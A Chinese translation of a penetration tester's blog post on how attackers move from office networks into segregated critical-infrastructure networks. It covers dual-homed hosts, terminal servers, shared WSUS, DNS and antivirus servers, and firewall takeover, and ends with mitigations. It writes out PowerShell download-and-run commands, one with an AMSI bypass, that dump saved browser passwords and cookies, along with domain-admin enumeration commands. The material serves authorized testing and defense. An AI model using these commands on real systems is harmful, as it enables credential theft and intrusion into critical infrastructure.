这篇文章是关于常见的错误配置和攻击场景,这些错误配置和攻击场景使攻击者能够访问具有关键系统或敏感数据的独立网络。
由于种种原因,德国在过去几年里对不同行业的公司实施了许多新的法规和法律,以提高他们的网络安全。规定了持有关键基础设施的所谓 KRITIS 公司和组织必须要保持网络安全。如果这些公司/组织成为具有破坏性动机的高级持续性威胁 (APT) 的目标,那么在最坏的情况下,这可能会对对国家和人民造成严重影响。例如,KRITIS的公司已经执行ISO 27001认证,这是信息安全管理系统的网络安全最佳实践规范。KRITIS包含的一些部门如下:
能源部门;
水务部门;
食品行业;
金融和保险;
其他。
由于德国新出台的法律和认证要求,包括KRITIS的公司进行了越来越多的渗透测试和其他安全评估。
可能的攻击者入口
众所周知的攻击媒介不仅适用于敏感的独立网络,而且适用于所有的IT网络和组织:
通过互联网访问系统的漏洞或错误配置,在大多数情况下,这将是缺少多重身份验证 (MFA) 以及弱密码、Web 应用程序中的漏洞或过时的系统/服务。
缺乏员工意识:例如网络钓鱼或处理任何不良/恶意设备(USB,电缆等)可能导致网络的初始访问。在这些场景中,攻击者大多数时候会访问Office-IT网络,而不是进入独立的网络。
物理位置安全:如果一个具有物理访问权限的攻击者可以直接进入大楼并插入一个非法设备,那么最孤立的网络是没有意义的。根据网络和环境的不同,也可能有许多小的独立位置,它们被允许连接到主控制网络。
供应链攻击:制造商或服务提供商受到威胁,例如,可以通过合法更新交付恶意代码(类似 2020 年的 Solarwinds-Hack)。
水坑攻击:攻击者破坏目标公司员工经常访问的网络服务器。浏览器和客户端因此受到恶意攻击者托管代码的威胁,或者可能只是凭证被网络钓鱼攻击。
前三个攻击向量可以由渗透测试公司检查。第四个和第五个不能被审计,因为它需要涉及第三方公司/组织,这在未经他们同意的情况下是非法的。
因此,上述描述涵盖了前三个攻击向量:
面向互联网的关键系统漏洞;
通过C2-Stager获取证书或初始访问权限的网络钓鱼;
物理位置安全检查;
横向移动尝试从Office-IT进入独立的网络;
对独立网络本身进行渗透测试;
如上所述,大多数情况下,攻击者只能通过利用漏洞或忽略防范来访问Office-IT网络。这一领域中可能出现的错误配置/漏洞将在本文中讨论。
双宿主主机
双主主机是指不仅有一个网络接口,而且在不同网络中有多个网络接口的系统。假设一个运营网络管理员想要从他的Office-IT客户端访问他的控制台。他可以修补一个直接连接到运营网络,并通过第二个网络接口将他的客户端连接到它:
例如,还可以有一个 Web 服务器,用于收集和可视化来自远程网络的数据:
这些系统因此不受防火墙的保护,防火墙将网络彼此隔开。
通过双宿主主机访问远程网络非常简单,如果攻击者已经通过最常见的本地漏洞和错误配置在 Office-IT 域中获得了更高的权限,他只需 pwn 管理员客户端系统,然后通过例如 socks 代理或端口转发进入远程网络。
但是我们如何找到这些双宿主系统呢?如果你面对的是Windows环境,至少有两种协议允许我们在没有身份验证的情况下枚举远程网络:
NetBIOS;
通过 IOXIDResolver 接口进行 RPC;
在这两种情况下,我们根本不需要任何用户进行枚举。如果在双宿主主机上启用了 NetBIOS,我们可以使用工具 nextnet 枚举它的第二个网络接口。如果你看一下 README,用法很简单:
$ nextnet 192.168.100.0/24 {"host":"192.168.100.22","port":"137","proto":"udp","probe":"netbios","name":"Horst-PC","nets":["192.168.100.22","10.10.15.22"],"info":{"domain":"office.local","hwaddr":"15:ee:a8:e4:10:a0"}}
从输出信息中可以看到,第二个网络接口的 IP 地址为 10.10.15.22。所以我们找到了一个双宿主主机。这种扫描可能导致误报,因为任何系统都可以有VPN网络接口、虚拟机接口等。Airbus Cyber Security 在 2020 年发布了一篇关于该主题的 oxid resolver 博客文章。他们还提供了一个 PoC 工具,用于通过 IOXIDResolver 接口查找远程网络。后来,Vincent LE TOUX 将这种枚举技术集成到了 Pingcastle 中,这使得整个域中所有系统的网络接口的枚举变得非常容易。只需启动它,切换到扫描仪菜单并选择 a-oxidbindings,然后选择 1-all:
我自己也窃取了这段代码,使其作为独立的二进制文件工作,SharpOxidResolver准备用于C2。
如果没有参数,它将在当前域中搜索计算机并获取所有计算机的绑定。
你也可以通过一个主机名或ip地址来扫描这个特定的目标:
SharpOxidResolver.exe 192.168.100.22
如果你的目标双宿主主机未加入域,则必须在服务级别或 Web 应用程序级别搜索漏洞以对其进行破坏。你还可以枚举有关(可能使用的)远程域的信息。
我刚刚遇到了另一种具有相应工具的技术,可用于查找双宿主主机, 使用cornershot 。
暴露服务中的漏洞
在网络独立运行中,我们经常向客户询问有意通过防火墙允许的目标网络服务。在极少数情况下,会使用任意块规则。独立网络中最常用的服务如下:
SMB 或 SAMBA 共享(端口 445):多次用于网络之间的数据交换;
HTTP/HTTPS Webserver (80,443) :用于数据可视化或状态监控的 Web 应用程序;
MySQL (3306) 或 MSSQL (1433) 数据库:数据交换;
如果你发现端口 445 具有网络共享,则需要执行通常的枚举或利用步骤。此处的关键字将是通过空会话、密码喷洒或仅分析共享中的数据(如果可访问)来摆脱循环。在最坏的情况下,攻击者可以通过 SMB 服务创建横向移动来破坏具有高权限用户的系统。
查找 Web 应用程序漏洞绝对是一个太大且超出本文范围的主题。但是我们在过去发现了关键的 Web 应用程序漏洞,这使我们能够破坏 Web 服务器并通过这些漏洞进入目标网络。
终端服务器或直接访问
我们在不同环境中看到的另一件事是专用终端服务器用作跳转主机来管理远程网络。如果客户端告诉我,终端服务器正在使用中,我几乎可以肯定,获得访问权限只是时间问题。我们看到的终端服务器实现的常见错误如下:
1.未使用多因素身份验证。RDP 登录凭据保存在客户端系统上。如果客户端受到威胁,攻击者可以通过凭据转储或键盘记录访问终端服务器。
2.Internet DMZ 网络中的终端服务器,想象一个可访问网络的系统受到威胁。如果 DMZ 系统本身没有完全相互隔离,攻击者将可以通过受感染的主机访问终端服务器服务,例如 RDP/SMB/WMI 等。
一些客户告诉我,他们的终端服务器激活了某种 Kiosk 模式。而且我总是告诉他们:¯\_(ツ)_/¯。
其他人根本不使用任何终端服务器,而是直接允许远程桌面协议、VNC 或其他身份验证协议。如果你直接允许任何身份验证协议,攻击者获取相应凭据只是时间问题。
共享基础架构组件
在某些项目中,我们还看到了使用 Office-IT 共享基础架构组件的独立网络。在这些案例中,我们对 Office-IT 的攻击导致了单独的网络攻击:
1.共享 WSUS 服务器:可在此处使用 WSUSpendu 等工具向独立网络中的系统提供恶意虚假更新。
2.Active Directory 信任:这个利用路径应该是直截了当的
3.共享 DNS 服务器:破坏 DNS 服务器的攻击者可以进入独立网络系统的中间人位置(如果他们被允许连接到远程网络或 Internet)。这在最坏的情况下也可能导致系统攻击。
4.共享防病毒服务器:根据使用的防病毒软件,攻击者可以通过中央服务器破坏连接的客户端或服务器。PoC工具的一个例子是在本例中McAfee的BADministration。
5.共享软件清单服务器:如果你使用第三方软件进行更新和软件安装,中央服务器的危害也可能被滥用以在独立网络中的主机上安装恶意软件包。
因此,你应该始终向客户端请求共享的基础设施组件。手动找到这些可能需要更多的努力,而不仅仅是问这个问题。通常情况下,他们想知道他们的弱点,而你想找到他们。对双方都有利。如果你有一个黑箱方法,它是关于检查所有这些可能的组件和它们连接的设备/客户端/服务器。
防火墙被破坏
如果你已经在 Office-IT 域中获得了高权限,则可以进行一些枚举以查找系统管理员。根据环境,尤其是在较小的环境中,管理员很可能是 Domain Admins 组的成员,并且拥有个性化的帐户。这是一个不好的做法,但让我们很快找到它们。
net group "Domain Admins" /domain
如果使用了跳转服务器,你可以通过过滤Bloodhound中的大多数管理会话系统来找到它。否则,系统可能在它的描述字段,甚至在主机名中有一个跳转或管理员。我将只展示AD-Module的枚举方式,它可以通过以下方式导入:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1')
or
Import-Module ActiveDirectory
Powershell脚本基本上是通过Assembly::load解码和导入的AD-Module DLL base64,所以它可以在任何客户端或服务器上工作,而无需额外安装。然后你可以用以下命令查询计算机的描述字段:
Get-ADComputer -Filter {Description -Like '*admin*'} -Properties Description | Select Description
或者
Get-ADComputer -Filter {Name -Like '*admin*'} | Select Name
防火墙也可能有与Active Directory相关的组,因为防火墙管理员有一个单独的电子邮件收件箱或文档的网络共享。
Get-AdGroup -Filter {name -like "*firewall*" -and name -like "*sophos*" -and name -like "*anyothervendor*"}
你还可以在网络共享、电子邮件、Intranet/Sharepoint等中找到有关管理帐户或跳转主机的信,很多枚举方法也和往常一样。
在找到正确的组或用户后,你可以通过任何横向移动技术(如SMB/WMI/WinRM等)破坏系统或跳转主机。我个人经常通过查找保存在浏览器中的密码成功获得防火墙证书。任何浏览器都有工具,在写这篇文章的时候最常用的浏览器是Chrome,所以我要展示我认为最好的工具——SharpChromium:
AMSIBypassiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')Invoke-SharpChromium -Command "logins"
如果用户没有保存凭据但登录到防火墙管理页面,你还可以通过以下方式转储 cookie:
Invoke-SharpChromium -Command "cookies"
并使用扩展 Cookie 编辑器将它们导入你自己的浏览器。这也授予身份验证。要转储用户凭据,你通常需要在用户上下文中执行该工具。或者,你可以使用 SYSTEM 的主密钥解密所有 DPAPI 密钥。这需要一个 SYSTEM shell,例如 LaZagne 就是这样做的。要在用户上下文中获取 shell,你可以使用令牌模拟或将 C2-Stager shellcode 注入目标用户的进程。我只是专门为此目的构建了一个自定义的 TokenVator 工具,它将在大约一个月内公开发布。SharpImpersonation
如果使用单点登录进行身份验证,你也可以只转储用户凭据并使用他的域帐户登录。任何其他远程系统管理软件也可以保存所需的凭据,因此请查看 MobaXterm、MremoteNG、WinSCP 等。如果你有足够的时间,键盘记录用户迟早也会给你凭据。
获得防火墙凭据后,可以通过添加自己的访问规则来访问独立的网络。
从Office IT(也就是域管理)进行枚举并不是最终目标
一些客户,他们不愿意给我们任何关于网络或基础设施的信息。因此,我们不得不坚持“黑匣子”的方法,自己寻找所有必要的信息。因此,在通过Common vulnerability提升特权后,我们必须搜索关于独立网络的信息。
缓解措施
最高的保护将来自物理隔离,而不是使用防火墙。这将消除本文中除了实际站点安全和员工意识之外的所有风险。
如果不需要,请禁用敏感网络的互联网访问和远程网络访问。如果完全隔离,许多风险就会自动消失。
如果不需要,不要使用双宿主主机。如果你没有别的选择,那就使用主机防火墙来阻止来自不需要访问的系统的任何流量。针对少数需要访问的设备的白名单应该是最合适的。攻击者从连接的系统窃取凭证的风险仍然存在。
最好的保护措施显然是完全不开放端口。
不要重复使用来自其他(未受保护的)网络的任何基础设施组件,这可能导致敏感网络受到攻击。
在客户端或跳转主机上的任何软件中保存凭据都不是一个好主意,使用MFA的密码管理器代替。还应该对跳转主机进行加固,使攻击者更难访问它们。
使用来自不同供应商的两个防火墙。我们分析了环境,其中客户IT团队只管理第一个,而第二个由第三方供应商管理。这几乎完全消除了通过利用或提取凭证来破坏防火墙的风险。
本文翻译自:https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/如若转载,请注明原文地址